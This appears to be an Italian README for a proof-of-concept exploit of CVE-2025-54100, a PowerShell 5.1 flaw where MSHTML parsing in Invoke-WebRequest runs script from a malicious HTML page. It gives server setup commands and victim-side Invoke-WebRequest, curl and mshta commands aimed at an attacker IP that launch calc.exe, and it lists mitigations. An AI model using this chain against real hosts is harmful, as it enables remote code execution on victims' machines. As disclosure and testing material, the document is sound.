
CVE-2025-54100(Vulnerabilità di esecuzione remota di codice in PowerShell)
Dimostrazione di come CVE-2025-54100 possa causare esecuzione remota di codice (RCE) in Windows PowerShell 5.1 tramite l'analisi di HTML malevolo.
Tipo di vulnerabilità: Rischio di injection di comandi quando Invoke-WebRequest non utilizza il parametro -UseBasicParsing
Gravità: CVSS 7.8 (Alto)
Causa principale: L'analisi della risposta HTML basata su MSHTML consente l'esecuzione di script (es. ActiveXObject) nel contesto del chiamante
Sistemi interessati:
CVE-2025-54100.py restituisce un payload HTML appositamente costruitoWScript.Shell / Shell.Applicationcalc.exepython3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
Avvia il servizio HTTP del PoC:
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
Su un host Windows vulnerabile, non utilizzare -UseBasicParsing, esegui i seguenti comandi:
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://192.168.26.16:8888"
# curl (alias in PowerShell)
curl http://192.168.26.16:8888
# mshta
mshta http://192.168.26.16:8888
Assicurati che la porta corrisponda alla configurazione del server. Se il sistema è vulnerabile, lo script incorporato verrà eseguito dal parser MSHTML.
Nota: alcuni antivirus potrebbero bloccare questo comportamento, anche se la vulnerabilità di parsing è ancora presente.
calc.exe non appare:
Invoke-WebRequest senza -UseBasicParsingQuesto passaggio serve per verificare il vettore di esecuzione. In scenari reali, un aggressore potrebbe usare offuscamento o tecniche di bypass per aggirare le restrizioni di sicurezza predefinite.

Microsoft ha risolto la vulnerabilità a dicembre 2025:
Installa tempestivamente gli aggiornamenti di sicurezza di Windows
Usa sempre -UseBasicParsing per evitare il parsing MSHTML:
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
Migra a PowerShell 7+ (pwsh): PowerShell Core non dipende più da MSHTML per il parsing, eliminando architetturalmente il problema.